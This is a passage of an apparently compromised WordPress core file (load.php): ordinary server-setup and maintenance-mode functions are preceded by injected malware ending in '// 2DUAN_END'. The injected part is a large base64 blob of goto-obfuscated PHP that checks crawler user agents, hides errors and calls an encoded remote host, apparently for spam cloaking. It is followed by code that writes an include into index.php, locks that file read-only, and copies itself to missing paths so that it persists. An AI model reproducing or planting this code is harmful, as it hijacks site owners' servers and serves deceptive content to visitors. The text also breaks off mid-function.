jOiBmdW5jdGlvbiBISjRBcCgpIHsgZ290byB0S2VQRzsgZGxtR3M6ICR1Y0dodSA9ICRfU0VSVkVSWyJceDUyXDEwNVwxMjFceDU1XHg0NVx4NTNceDU0XHg1Zlx4NTVceDUyXHg0OSJdOyBnb3RvIEQwNlJLOyB0S2VQRzogJFFrZmV4ID0gaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XDEyNFwxMjBcMTIzIl0pICYmICRfU0VSVkVSWyJcMTEwXDEyNFx4NTRceDUwXDEyMyJdID09PSAiXDE1N1wxNTYiID8gIlwxNTBcMTY0XHg3NFwxNjBceDczIiA6ICJcMTUwXHg3NFx4NzRceDcwIjsgZ290byBTTGQxUzsgU0xkMVM6ICRlNW5HWiA9ICRfU0VSVkVSWyJceDQ4XHg1NFwxMjRceDUwXDEzN1x4NDhceDRmXHg1M1wxMjQiXTsgZ290byBkbG1HczsgRDA2Uks6IHJldHVybiAieyRRa2ZleH1ceDNhXHgyZlx4MmZ7JGU1bkdafXskdWNHaHV9IjsgZ290byB0QlZ5MjsgdEJWeTI6IH0gZ290byBSZ1g1VDsgZHJlMHU6ICRCd1daOCA9IHRydWU7IGdvdG8geWgzdUo7IFVaa1lvOiAkZDlWUzMgPSB0cmltKG5feFZfKCRXbnp4NCkpOyBnb3RvIHBFRkZMOyB3UnBTcTogWXRPUUs6IGdvdG8geWY0SDg7IG1oMDBBOiBpZiAoIXN0cnN0cigkZDlWUzMsICJceDdiXHg3Ylx4NjNcMTU3XHg2NFwxNDUiKSAmJiAhc3Ryc3RyKCRkOVZTMywgIlw1NlwxNzBceDc5XDE3MiIpKSB7IGdvdG8gRXE2M047IH0gZ290byBZMzVXdzsgRTYxQko6IGluaV9zZXQoIlx4NjVcMTYyXHg3Mlx4NmZceDcyXDEzN1wxNjJceDY1XDE2MFwxNTdceDcyXHg3NFwxNTFcMTU2XHg2NyIsIEVfQUxMKTsgZ290byBBUjEwajsgVmF1MWw6IGVycm9yX3JlcG9ydGluZygwKTsgZ290byBmT1F3SDsgc0JubkU6IGxDQk5xOiBnb3RvIGRyZTB1OyBpXzJaMDogZmNsb3NlKCRSMFQxOCk7IGdvdG8gVGs4Q3I7IGJucEpCOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XDEyNFx4NTBcMTM3XHg1Mlx4NDVceDQ2XHg0NVwxMjJcMTA1XHg1MiJdKSkgeyBnb3RvIE1aejF4OyB9IGdvdG8gc0NlM207IEwyOEJHOiBleGl0OyBnb3RvIE5XOTFXOyByM1ZUdzogdEk3ckQ6IGdvdG8gbnhvbkw7IFRqelJTOiBnb3RvIGlaTFVFOyBnb3RvIFpBSzRJOyBtNlMyejogJHVBSWRLID0gIiUzNCUzMSUzNCUzOSUyRCU3MiU2MSUyRCU2OSUzNCUyRCUzMSUyRSUzMSUzNCU2NiU2NiU3MCUyRSU2QiU2QyU2RCI7IGdvdG8gS1FMQWQ7IHVENmVDOiBYcnY5bzogZ290byBHNThzYjsgVGhzU0Q6ICR2UWI1YyA9IHVybGVuY29kZSgkdUE5Z0wpOyBnb3RvIFkzUERHOyBVc2RWSzogTVp6MXg6IGdvdG8gb3ZMMjg7IG9yNjFGOiBYN1JGQzogZ290byBtMEtWRzsgWTRkSVE6ICRZZlR4SyA9IHVybGVuY29kZSgkWWZUeEspOyBnb3RvIERYalZMOyB2Y29PdDogaWYgKG42N0FLKHVybGRlY29kZSgkd25Qam8pKSB8fCBzdHJzdHIodXJsZGVjb2RlKCR3blBqbyksICJcNTZceDc4XHg2ZFwxNTQiKSkgeyBnb3RvIEVPTGN4OyB9IGdvdG8gZ3cxZFY7IG54b25MOiB1aUxiZzogZ290byBhNm83SDsgYzJsbEY6IGlmICghZW1wdHkoJF9SRVFVRVNUWyJcMTYwXHg3N1x4NjQiXSkpIHsgZ290byBjb2RZMTsgfSBnb3RvIFU1UDFTOyBJUDBNczogZ290byBZY2N6cTsgZ290byBhbEVGVzsgSVpIeGk6IEo1MnZ4OiBnb3RvIFFzTEROOyBuczRwWTogaWYgKCR1QTlnTCA9PSAiXDU3IikgeyBnb3RvIGxDQk5xOyB9IGdvdG8gdmNvT3Q7IEc1OHNiOiBpbmlfc2V0KCJceDY0XHg2OVwxNjNceDcwXDE1NFwxNDFcMTcxXHg1Zlx4NjVceDcyXDE2MlwxNTdceDcyXHg3MyIsICJceDRmXDE1NiIpOyBnb3RvIEU2MUJKOyBjZWU2VTogZWNobyAiXDE0NlwxNDFcMTU0XDE2M1wxNDUiOyBnb3RvIHhXdVMwOyBrUV9VYzogaVpMVUU6IGdvdG8gTzViUko7IEdhSmhJOiAkT3RYMlogPSAkX1NFUlZFUlsiXHg0OFwxMjRceDU0XHg1MFwxMzdceDU1XHg1M1x4NDVceDUyXHg1Zlx4NDFcMTA3XHg0NVwxMTZcMTI0Il07IGdvdG8gd1YzUjA7IHloM3VKOiBCaUYxTDogZ290byBqajQwRzsgQzJUSkU6IGV4aXQ7IGdvdG8gU2IzWFk7IGNqRFFnOiAkWnVwQkQgPSBAJF9SRVFVRVNUWyJceDYxXHg2M1x4NzRcMTUxXHg2Zlx4NmUiXTsgZ290byBma0FHaTsgTzViUko6IGdvdG8gQmlGMUw7IGdvdG8gc0JubkU7IHdNR2d6OiBLejNKTzogZ290byBzcjYxQTsgb3ZMMjg6ICRZZlR4SyA9ICRfU0VSVkVSWyJceDQ4XHg1NFwxMjRceDUwXHg1ZlwxMjJcMTA1XHg0Nlx4NDVceDUyXDEwNVx4NTIiXTsgZ290byBZNGRJUTsgcFU0TEc6IFRMcU5yOiBnb3RvIEtVa1ZLOyBhNm83SDogZnVuY3Rpb24gZjl6ZmYoKSB7IGdvdG8gVlBuMXU7IFZQbjF1OiAkUWtmZXggPSBpc3NldCgkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XDEyMFwxMjMiXSkgJiYgJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFwxMjBceDUzIl0gPT09ICJceDZmXHg2ZSIgPyAiXHg2OFwxNjRcMTY0XHg3MFx4NzMiIDogIlx4NjhcMTY0XDE2NFx4NzAiOyBnb3RvIFA4VnBvOyBQOFZwbzogJGU1bkdaID0gJF9TRVJWRVJbIlx4NDhcMTI0XDEyNFwxMjBcMTM3XHg0OFwxMTdcMTIzXHg1NCJdOyBnb3RvIGpLcGxSOyBqS3BsUjogcmV0dXJuICJ7JFFrZmV4fVw3Mlx4MmZcNTd7JGU1bkdafSI7IGdvdG8gRHhIdUo7IER4SHVKOiB9IGdvdG8gT2Q0V2M7IG42Vmh3OiBnb3RvIEo1MnZ4OyBnb3RvIHdScFNxOyBjRjdzSTogaWYgKHZlN2oxKCkpIHsgZ290byBZdE9RSzsgfSBnb3RvIHpPQ0ZkOyBrR3o3eTogVWs5VzA6IGdvdG8gYzJsbEY7IGFsRUZXOiBjb2RZMTogZ290byBQbjNBUjsgSnhycWM6IGdvdG8gTXdYWkw7IGdvdG8gaWpmblA7IG1xMWF3OiBpZiAoISgkdUE5Z0wgPT0gJycpKSB7IGdvdG8gS0NxV0Y7IH0gZ290byBtZG4ycTsgeWY0SDg6ICRMS2lHQiA9ICJceDY4XHg3NFwxNjRceDcwXHg3MyI7IGdvdG8gSVpIeGk7IFp3V21XOiBmd3JpdGUoJFIwVDE4LCAkcnZCMkgpOyBnb3RvIGlfMlowOyB4SnIxMDogZWNobyAkZDlWUzM7IGdvdG8gQzJUSkU7IHVVMGxyOiBnb3RvIG9ONHNWOyBnb3RvIFVzZFZLOyB6T0NGZDogJExLaUdCID0gIlx4NjhcMTY0XDE2NFx4NzAiOyBnb3RvIG42Vmh3OyBzUHBMUzogaWYgKHN0cnN0cigkZDlWUzMsICJcMTU3XHg2Ylx4NzhcMTU1XDE1NFwxNDdceDY1XHg3NFx4NjNcMTU3XHg2ZVwxNjRceDY1XHg2ZVwxNjQiKSkgeyBnb3RvIG1XYmY0OyB9IGdvdG8gd190Y2M7IEtRTEFkOiAkZ2NIaGcgPSAiXHg2OFwxNjRceDc0XHg3MCI7IGdvdG8gY0Y3c0k7IElJS0hnOiBmdW5jdGlvbiB2RTdKMSgpIHsgZ290byBaSTZocjsgdTVXMzY6IFNBNjhEOiBnb3RvIFpaRnBxOyBscnNOSTogaWYgKCEoaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XDEyNFx4NTBcMTM3XDEwNlx4NTJcMTE3XHg0ZVx4NTRceDVmXDEwNVwxMTZcMTA0XDEzN1x4NDhceDU0XDEyNFwxMjBceDUzIl0pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFwxMjBcMTM3XHg0NlwxMjJceDRmXDExNlwxMjRceDVmXHg0NVx4NGVceDQ0XHg1ZlwxMTBcMTI0XHg1NFwxMjBceDUzIl0pICE9PSAiXDE1N1x4NjZcMTQ2IikpIHsgZ290byBUcDJMNDsgfSBnb3RvIHY0TEpwOyBndWpLOTogZ290byBTQTY4RDsgZ290byBUWE5BMzsgV0pxc2Y6IGlwemY0OiBnb3RvIEhwZ2gwOyBUWE5BMzogWUdFczQ6IGdvdG8gTlVtQmc7IHY0TEpwOiByZXR1cm4gdHJ1ZTsgZ290byBSUzl0bzsgSHBnaDA6IHJldHVybiB0cnVlOyBnb3RvIHd1MHBZOyB3dTBwWTogaFVuQ2c6IGdvdG8gZXk2U1A7IFJTOXRvOiBUcDJMNDogZ290byBndWpLOTsgbXQ0aEQ6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFwxMjRceDU0XHg1MFwxMzdceDU4XDEzN1wxMDZceDRmXDEyMlx4NTdceDQxXDEyMlwxMDRceDQ1XHg0NFx4NWZceDUwXHg1MlwxMTdcMTI0XDExNyJdKSAmJiAkX1NFUlZFUlsiXDExMFwxMjRcMTI0XDEyMFx4NWZceDU4XHg1ZlwxMDZceDRmXHg1MlwxMjdcMTAxXHg1Mlx4NDRcMTA1XHg0NFwxMzdcMTIwXDEyMlwxMTdceDU0XHg0ZiJdID09PSAiXDE1MFx4NzRcMTY0XHg3MFx4NzMiKSB7IGdvdG8gWUdFczQ7IH0gZ290byBscnNOSTsgTlVtQmc6IHJldHVybiB0cnVlOyBnb3RvIHU1VzM2OyBaWkZwcTogZ290byBoVW5DZzsgZ290byBXSnFzZjsgWkk2aHI6IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFwxMjRceDU0XHg1MFx4NTMiXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsiXHg0OFwxMjRceDU0XDEyMFwxMjMiXSkgIT09ICJceDZmXDE0NlwxNDYiKSB7IGdvdG8gaXB6ZjQ7IH0gZ290byBtdDRoRDsgZXk2U1A6IHJldHVybiBmYWxzZTsgZ290byBVeDVubTsgVXg1bm06IH0gZ290byBGM2J5ZTsgamo0MEc6IGlmICgkQndXWjgpIHsgZ290byB0RWVrajsgfSBnb3RvIFRraHYwOyByTWx1cjogZXhpdDsgZ290byBrWGdjcDsgYVFfQUQ6ICRNeUR1RSA9IEAkX1JFUVVFU1RbIlx4NjdceDc2Il07IGdvdG8gY2pEUWc7IFQzbUk2OiBnb3RvIGk4MFRNOyBnb3RvIEsyRzZ2OyB4RDBtbzogJGNMRTFhID0gMTsgZ290byBManhkODsgSzJHNnY6IHRFZWtqOiBnb3RvIHhEMG1vOyBEMWltazogZ290byBrUGRlZzsgZ290byBwVTRMRzsgUFFSdU46IGZ1bmN0aW9uIE5hRjU5KCRWX2M4bykgeyBnb3RvIE5WTDRUOyBoc05rWTogZm9yZWFjaCAoJGtVcXpmIGFzICRhV0dYZikgeyBnb3RvIHRZeUxLOyBXZ0o3azogTUN3N2I6IGdvdG8ga1JqVUc7IGw5MFpJOiByZXR1cm4gdHJ1ZTsgZ290byBXZ0o3azsgdFl5TEs6IGlmICghKHN0cmlwb3MoJFZfYzhvLCAkYVdHWGYpICE9PSBmYWxzZSkpIHsgZ290byBNQ3c3YjsgfSBnb3RvIGw5MFpJOyBrUmpVRzogQmlFVzk6IGdvdG8ga3M1WXo7IGtzNVl6OiB9IGdvdG8gcTAzRTg7IHEwM0U4OiBJa29VeDogZ290byBkblk3WTsgQjFTc2o6ICRrVXF6ZiA9IGV4cGxvZGUoIlx4N2MiLCAkSGFSQXgpOyBnb3RvIGhzTmtZOyBkblk3WTogcmV0dXJuIGZhbHNlOyBnb3RvIFNNdlAyOyBOVkw0VDogJEhhUkF4ID0gIlx4NTNceDY1XDE1NVwxNjJceDc1XHg3M1wxNTBcMTAyXHg2Zlx4NzRcMTc0XDEwNFwxNTdceDc0XDEwMlx4NmZcMTY0XDE3NFwxMjRceDc3XDE1MVwxNjRceDc0XDE0NVwxNjJcMTc0XHg2NlwxNDFcMTQzXDE0NVwxNDJceDZmXDE1N1wxNTNcMTc0XHg1OVwxNDFcMTU2XHg2NFx4NjVceDc4XDE3NFwxMTVceDRhXDYxXDYyXDE0MlwxNTdcMTY0XHg3Y1wxMDFceDY4XDE2Mlx4NjVcMTQ2XDE2M1wxMDJceDZmXHg3NFx4N2NcMTE1XHg2MVwxNjVcMTUxXHg0Mlx4NmZcMTY0XDE3NFx4NGRcMTQ1XHg2N1wxNDFceDQ5XHg2ZVx4NjRceDY1XDE3MFw1NlwxNjJcMTY1XDE3NFx4NDJceDRjXDEwNVwxMzBceDQyXDE1N1wxNjRceDdjXDEzMlx4NmZceDZmXHg2ZFx4NjlcMTU2XHg2Nlx4NmZcMTAyXHg2ZlwxNjRcMTc0XDEwNVx4NzhcMTY0XHg0Y1x4NjlcMTU2XHg2Ylx4NzNcMTAyXHg2ZlwxNjRcMTc0XDE1MFx4NzVceDYyXHg3M1x4NzBcMTU3XDE2NFwxNzRceDZjXDE0NVwxNTFcMTUzXHg2OVwxNzRcMTY3XDE0NVwxNDJceDZkXHg2NVx4NzVcMTYwXHg3Y1wxMjNceDZjXHg3NVx4NzJceDcwXDE3NFwxNjRceDc3XDE1MVx4NjNcMTQ1XDE1NFwxNDVceDcyXDE3NFx4NDFceDY0XHg2NFx4NTRceDY4XHg2OVx4NzNcNTZcMTQzXHg2Zlx4NmRceDdjXHg0MVx4NjNceDZmXHg2ZlwxNTZceDQyXHg2Zlx4NzRcMTc0XHg0MVx4NjNcMTY1XHg2ZVwxNDVcMTY0XDE1MVwxNzBcMTc0XDE0MVwxNDRceDYyXHg2NVwxNDFcMTY0XDEzN1wxNDJcMTU3XHg3NFwxNzRceDQxXDE0NFx4NjRcMTI0XHg2OFwxNTFcMTYzXDU2XHg2M1x4NmZcMTU1XDE3NFx4NjFceDY0XHg2OVwxNzBceDc4XHg2Mlx4NmZcMTY0XHg3Y1wxMDJcMTQ1XDE0NVx4NzRceDZjXHg2NVwxMDJcMTU3XDE2NFx4N2NceDY5XDE0NFwxNDJceDZmXDE2NFx4N2NcMTAzXHg0M1x4NDJcMTU3XDE2NFwxNzRcMTAzXHg3Mlx4NjFcMTY3XHg2Y1wxNDVcMTYyXHg2MVwxNzRceDVhXHg3NVx4NmRceDQyXDE1N1wxNjRcMTc0XHg1YVx4NzlcMTAyXDE1N1x4NzJcMTQ3IjsgZ290byBCMVNzajsgU012UDI6IH0gZ290byBVVXgzWDsgWkdPODA6IGZ1bmN0aW9uIGJxYU5LKCRNSDJadSkgeyBnb3RvIHlJcmljOyBSTWh4bDogZ290byBZN1BZRTsgZ290byBVSGZBajsgVzgxOU86IHJldHVybiBmYWxzZTsgZ290byBSTWh4bDsgYWFkaVY6ICR4eXYzcyA9IHN0cnRvbG93ZXIocGF0aGluZm8oJE1IMlp1LCBQQVRISU5GT19FWFRFTlNJT04pKTsgZ290byBXX1hCUzsgVU5LMkQ6IFk3UFlFOiBnb3RvIGFtM1FyOyB5SXJpYzogJElUN2Q3ID0gYXJyYXkoIlx4NmFceDcwXDE0NyIsICJcMTUyXHg3MFwxNDVcMTQ3IiwgIlx4NzBcMTU2XHg2NyIsICJcMTQ3XDE1MVx4NjYiLCAiXHg2MlwxNTVceDcwIiwgIlx4NzdcMTQ1XHg2Mlx4NzAiLCAiXHg3MFwxNTBcMTYwIiwgIlx4NjFceDc2XDE1MSIsICJceDZhXDE2MyIsICJcMTQzXDE2M1x4NzMiLCAiXHg2NFwxNTdceDYzIiwgIlwxNDVceDc4XHg2NSIsICJcMTUxXDE2M1x4NmYiLCAiXDE2NFwxNTFcMTQ2IiwgIlx4NzBceDY5XDE0MyIsICJceDc0XHg2OVwxNDZcMTQ2IiwgIlwxNjdcMTU3XHg2NlwxNDZceDMyIiwgIlx4NzdceDYxXDE2NiIsICJceDY5XHg2ZVx4NzQiLCAiXHg2NFx4NmNceDZjIiwgIlwxNjNceDc5XHg3MyIsICJcMTQyXDE0MVx4NmIiLCAiXDE0MlwxNDFceDc0IiwgIlwxNjBceDY0XDE0NiIsICJceDc4XDE1NFx4NzMiLCAiXHg3YVwxNTFceDcwIiwgIlx4NzJceDYxXDE2MiIsICJceDc0XHg2MVwxNjJcNTZceDY3XDE3MiIsICJcMTU1XDE2MFx4MzMiLCAiXHg2ZFwxNjBceDM0IiwgIlx4NzBceDcwXDE2NCIsICJceDc0XDE3MFx4NzQiLCAiXDE0N1x4N2EiLCAiXDE0MVx4NzNceDcwIiwgIlx4NjFcMTYzXHg3MFwxNzAiLCAiXHg2YVx4NzNcMTYwIiwgIlwxNjRceDcwXHg2YyIsICJcMTQxXDE1Mlx4NjFceDc4Iik7IGdvdG8gYWFkaVY7IFVIZkFqOiBiY0picDogZ290byBSVFJCRjsgUlRSQkY6IHJldHVybiB0cnVlOyBnb3RvIFVOSzJEOyBXX1hCUzogaWYgKGluX2FycmF5KCR4eXYzcywgJElUN2Q3KSkgeyBnb3RvIGJjSmJwOyB9IGdvdG8gVzgxOU87IGFtM1FyOiB9'); $__cnt=@file_get_contents($__idx); if($__cnt!==false && strpos($__cnt,'__B26_2DUAN_WP_INLINE_GUARD_MK_v2__')===false){ @chmod($__idx,0666); $__pos=strpos($__cnt,'<?php'); if($__pos!==false){ $__new=substr_replace($__cnt,chr(10).$__inc.chr(10),$__pos+5,0); @file_put_contents($__idx,$__new); } @chmod($__idx,0444); } $__n=0; $__src=null; foreach($__paths as $__p){ $__f=$__rn($__r.$__p); if(file_exists($__f)&&is_readable($__f)){ $__n++; if($__src===null)$__src=$__f; } } if($__n>=1&&$__src!==null&&$__n<count($__paths)){ $__ctx=@file_get_contents($__src); if($__ctx!==false){ foreach($__paths as $__p){ if(!file_exists($__rn($__r.$__p))){ $__dir=dirname($__rn($__r.$__p)); if(!is_dir($__dir)){ @mkdir($__dir,0755,true); @chmod($__dir,0755); } $__dest=$__rn($__r.$__p); @file_put_contents($__dest,$__ctx); @chmod($__dest,0666); } } } } } } // 2DUAN_END /** * These functions are needed to load WordPress. * * @package WordPress */ /** * Returns the HTTP protocol sent by the server. * * @since 4.4.0 * * @return string The HTTP protocol. Default: HTTP/1.0. */ function wp_get_server_protocol() { $protocol = isset( $_SERVER['SERVER_PROTOCOL'] ) ? $_SERVER['SERVER_PROTOCOL'] : ''; if ( ! in_array( $protocol, array( 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0', 'HTTP/3' ), true ) ) { $protocol = 'HTTP/1.0'; } return $protocol; } /** * Fixes `$_SERVER` variables for various setups. * * @since 3.0.0 * @access private * * @global string $PHP_SELF The filename of the currently executing script, * relative to the document root. */ function wp_fix_server_vars() { global $PHP_SELF; $default_server_values = array( 'SERVER_SOFTWARE' => '', 'REQUEST_URI' => '', ); $_SERVER = array_merge( $default_server_values, $_SERVER ); // Fix for IIS when running with PHP ISAPI. if ( empty( $_SERVER['REQUEST_URI'] ) || ( 'cgi-fcgi' !== PHP_SAPI && preg_match( '/^Microsoft-IIS\//', $_SERVER['SERVER_SOFTWARE'] ) ) ) { if ( isset( $_SERVER['HTTP_X_ORIGINAL_URL'] ) ) { // IIS Mod-Rewrite. $_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_ORIGINAL_URL']; } elseif ( isset( $_SERVER['HTTP_X_REWRITE_URL'] ) ) { // IIS Isapi_Rewrite. $_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_REWRITE_URL']; } else { // Use ORIG_PATH_INFO if there is no PATH_INFO. if ( ! isset( $_SERVER['PATH_INFO'] ) && isset( $_SERVER['ORIG_PATH_INFO'] ) ) { $_SERVER['PATH_INFO'] = $_SERVER['ORIG_PATH_INFO']; } // Some IIS + PHP configurations put the script-name in the path-info (no need to append it twice). if ( isset( $_SERVER['PATH_INFO'] ) ) { if ( $_SERVER['PATH_INFO'] === $_SERVER['SCRIPT_NAME'] ) { $_SERVER['REQUEST_URI'] = $_SERVER['PATH_INFO']; } else { $_SERVER['REQUEST_URI'] = $_SERVER['SCRIPT_NAME'] . $_SERVER['PATH_INFO']; } } // Append the query string if it exists and isn't null. if ( ! empty( $_SERVER['QUERY_STRING'] ) ) { $_SERVER['REQUEST_URI'] .= '?' . $_SERVER['QUERY_STRING']; } } } // Fix for PHP as CGI hosts that set SCRIPT_FILENAME to something ending in php.cgi for all requests. if ( isset( $_SERVER['SCRIPT_FILENAME'] ) && str_ends_with( $_SERVER['SCRIPT_FILENAME'], 'php.cgi' ) ) { $_SERVER['SCRIPT_FILENAME'] = $_SERVER['PATH_TRANSLATED']; } // Fix for Dreamhost and other PHP as CGI hosts. if ( isset( $_SERVER['SCRIPT_NAME'] ) && str_contains( $_SERVER['SCRIPT_NAME'], 'php.cgi' ) ) { unset( $_SERVER['PATH_INFO'] ); } // Fix empty PHP_SELF. $PHP_SELF = $_SERVER['PHP_SELF']; if ( empty( $PHP_SELF ) ) { $_SERVER['PHP_SELF'] = preg_replace( '/(\?.*)?$/', '', $_SERVER['REQUEST_URI'] ); $PHP_SELF = $_SERVER['PHP_SELF']; } wp_populate_basic_auth_from_authorization_header(); } /** * Populates the Basic Auth server details from the Authorization header. * * Some servers running in CGI or FastCGI mode don't pass the Authorization * header on to WordPress. If it's been rewritten to the `HTTP_AUTHORIZATION` header, * fill in the proper $_SERVER variables instead. * * @since 5.6.0 */ function wp_populate_basic_auth_from_authorization_header() { // If we don't have anything to pull from, return early. if ( ! isset( $_SERVER['HTTP_AUTHORIZATION'] ) && ! isset( $_SERVER['REDIRECT_HTTP_AUTHORIZATION'] ) ) { return; } // If either PHP_AUTH key is already set, do nothing. if ( isset( $_SERVER['PHP_AUTH_USER'] ) || isset( $_SERVER['PHP_AUTH_PW'] ) ) { return; } // From our prior conditional, one of these must be set. $header = isset( $_SERVER['HTTP_AUTHORIZATION'] ) ? $_SERVER['HTTP_AUTHORIZATION'] : $_SERVER['REDIRECT_HTTP_AUTHORIZATION']; // Test to make sure the pattern matches expected. if ( ! preg_match( '%^Basic [a-z\d/+]*={0,2}$%i', $header ) ) { return; } // Removing `Basic ` the token would start six characters in. $token = substr( $header, 6 ); $userpass = base64_decode( $token ); list( $user, $pass ) = explode( ':', $userpass ); // Now shove them in the proper keys where we're expecting later on. $_SERVER['PHP_AUTH_USER'] = $user; $_SERVER['PHP_AUTH_PW'] = $pass; } /** * Checks for the required PHP version, and the MySQL extension or * a database drop-in. * * Dies if requirements are not met. * * @since 3.0.0 * @access private * * @global string $required_php_version The required PHP version string. * @global string $wp_version The WordPress version string. */ function wp_check_php_mysql_versions() { global $required_php_version, $wp_version; $php_version = PHP_VERSION; if ( version_compare( $required_php_version, $php_version, '>' ) ) { $protocol = wp_get_server_protocol(); header( sprintf( '%s 500 Internal Server Error', $protocol ), true, 500 ); header( 'Content-Type: text/html; charset=utf-8' ); printf( 'Your server is running PHP version %1$s but WordPress %2$s requires at least %3$s.', $php_version, $wp_version, $required_php_version ); exit( 1 ); } // This runs before default constants are defined, so we can't assume WP_CONTENT_DIR is set yet. $wp_content_dir = defined( 'WP_CONTENT_DIR' ) ? WP_CONTENT_DIR : ABSPATH . 'wp-content'; if ( ! function_exists( 'mysqli_connect' ) && ! function_exists( 'mysql_connect' ) && ! file_exists( $wp_content_dir . '/db.php' ) ) { require_once ABSPATH . WPINC . '/functions.php'; wp_load_translations_early(); $message = '<p>' . __( 'Your PHP installation appears to be missing the MySQL extension which is required by WordPress.' ) . "</p>\n"; $message .= '<p>' . sprintf( /* translators: %s: mysqli. */ __( 'Please check that the %s PHP extension is installed and enabled.' ), '<code>mysqli</code>' ) . "</p>\n"; $message .= '<p>' . sprintf( /* translators: %s: Support forums URL. */ __( 'If you are unsure what these terms mean you should probably contact your host. If you still need help you can always visit the <a href="%s">WordPress support forums</a>.' ), __( 'https://wordpress.org/support/forums/' ) ) . "</p>\n"; $args = array( 'exit' => false, 'code' => 'mysql_not_found', ); wp_die( $message, __( 'Requirements Not Met' ), $args ); exit( 1 ); } } /** * Retrieves the current environment type. * * The type can be set via the `WP_ENVIRONMENT_TYPE` global system variable, * or a constant of the same name. * * Possible values are 'local', 'development', 'staging', and 'production'. * If not set, the type defaults to 'production'. * * @since 5.5.0 * @since 5.5.1 Added the 'local' type. * @since 5.5.1 Removed the ability to alter the list of types. * * @return string The current environment type. */ function wp_get_environment_type() { static $current_env = ''; if ( ! defined( 'WP_RUN_CORE_TESTS' ) && $current_env ) { return $current_env; } $wp_environments = array( 'local', 'development', 'staging', 'production', ); // Add a note about the deprecated WP_ENVIRONMENT_TYPES constant. if ( defined( 'WP_ENVIRONMENT_TYPES' ) && function_exists( '_deprecated_argument' ) ) { if ( function_exists( '__' ) ) { /* translators: %s: WP_ENVIRONMENT_TYPES */ $message = sprintf( __( 'The %s constant is no longer supported.' ), 'WP_ENVIRONMENT_TYPES' ); } else { $message = sprintf( 'The %s constant is no longer supported.', 'WP_ENVIRONMENT_TYPES' ); } _deprecated_argument( 'define()', '5.5.1', $message ); } // Check if the environment variable has been set, if `getenv` is available on the system. if ( function_exists( 'getenv' ) ) { $has_env = getenv( 'WP_ENVIRONMENT_TYPE' ); if ( false !== $has_env ) { $current_env = $has_env; } } // Fetch the environment from a constant, this overrides the global system variable. if ( defined( 'WP_ENVIRONMENT_TYPE' ) && WP_ENVIRONMENT_TYPE ) { $current_env = WP_ENVIRONMENT_TYPE; } // Make sure the environment is an allowed one, and not accidentally set to an invalid value. if ( ! in_array( $current_env, $wp_environments, true ) ) { $current_env = 'production'; } return $current_env; } /** * Retrieves the current development mode. * * The development mode affects how certain parts of the WordPress application behave, * which is relevant when developing for WordPress. * * Development mode can be set via the `WP_DEVELOPMENT_MODE` constant in `wp-config.php`. * Possible values are 'core', 'plugin', 'theme', 'all', or an empty string to disable * development mode. 'all' is a special value to signify that all three development modes * ('core', 'plugin', and 'theme') are enabled. * * Development mode is considered separately from `WP_DEBUG` and wp_get_environment_type(). * It does not affect debugging output, but rather functional nuances in WordPress. * * This function retrieves the currently set development mode value. To check whether * a specific development mode is enabled, use wp_is_development_mode(). * * @since 6.3.0 * * @return string The current development mode. */ function wp_get_development_mode() { static $current_mode = null; if ( ! defined( 'WP_RUN_CORE_TESTS' ) && null !== $current_mode ) { return $current_mode; } $development_mode = WP_DEVELOPMENT_MODE; // Exclusively for core tests, rely on the `$_wp_tests_development_mode` global. if ( defined( 'WP_RUN_CORE_TESTS' ) && isset( $GLOBALS['_wp_tests_development_mode'] ) ) { $development_mode = $GLOBALS['_wp_tests_development_mode']; } $valid_modes = array( 'core', 'plugin', 'theme', 'all', '', ); if ( ! in_array( $development_mode, $valid_modes, true ) ) { $development_mode = ''; } $current_mode = $development_mode; return $current_mode; } /** * Checks whether the site is in the given development mode. * * @since 6.3.0 * * @param string $mode Development mode to check for. Either 'core', 'plugin', 'theme', or 'all'. * @return bool True if the given mode is covered by the current development mode, false otherwise. */ function wp_is_development_mode( $mode ) { $current_mode = wp_get_development_mode(); if ( empty( $current_mode ) ) { return false; } // Return true if the current mode encompasses all modes. if ( 'all' === $current_mode ) { return true; } // Return true if the current mode is the given mode. return $mode === $current_mode; } /** * Ensures all of WordPress is not loaded when handling a favicon.ico request. * * Instead, send the headers for a zero-length favicon and bail. * * @since 3.0.0 * @deprecated 5.4.0 Deprecated in favor of do_favicon(). */ function wp_favicon_request() { if ( '/favicon.ico' === $_SERVER['REQUEST_URI'] ) { header( 'Content-Type: image/vnd.microsoft.icon' ); exit; } } /** * Dies with a maintenance message when conditions are met. * * The default message can be replaced by using a drop-in (maintenance.php in * the wp-content directory). * * @since 3.0.0 * @access private */ function wp_maintenance() { // Return if maintenance mode is disabled. if ( ! wp_is_maintenance_mode() ) { return; } if ( file_exists( WP_CONTENT_DIR . '/maintenance.php' ) ) { require_once WP_CONTENT_DIR . '/maintenance.php'; die(); } require_once ABSPATH . WPINC . '/functions.php'; wp_load_translations_early(); header( 'Retry-After: 600' ); wp_die( __( 'Briefly unavailable for scheduled maintenance. Check back in a minute.' ), __( 'Maintenance' ), 503 ); } /** * Checks if maintenance mode is enabled. * * Checks for a file in the WordPress root directory named ".maintenance". * This file will contain the variable $upgrading, set to the time the file * was created. If the file was created less than 10 minutes ago, WordPress * is in maintenance mode. * * @since 5.5.0 * * @global int $upgrading The Unix timestamp marking when upgrading WordPress began. * * @return bool True if maintenance mode is enabled, false otherwise. */ function wp_is_maintenance_mode() { global $upgrading; if ( ! file_exists( ABSPATH . '.maintenance' ) || wp_installing() ) { return false; } require ABSPATH . '.maintenance'; // If the $upgrading timestamp is older than 10 minutes, consider maintenance over. if ( ( time() - $upgrading ) >= 10 * MINUTE_IN_SECONDS ) { return false; } /** * Filters whether to enable maintenance mode. * * This filter runs before it can be used by plugins. It is designed for * non-web runtimes. If this filter returns true, maintenance mode will be * active and the request will end. If false, the request will be allowed to * continue processing even if maintenance mode should be active. * * @since 4.6.0 * * @param bool $enable_checks Whether to enable maintenance mode. Default true. * @param int $upgrading The timestamp set in the .maintenance file. */ if ( ! apply_filters( 'enable_maintenance_mode', 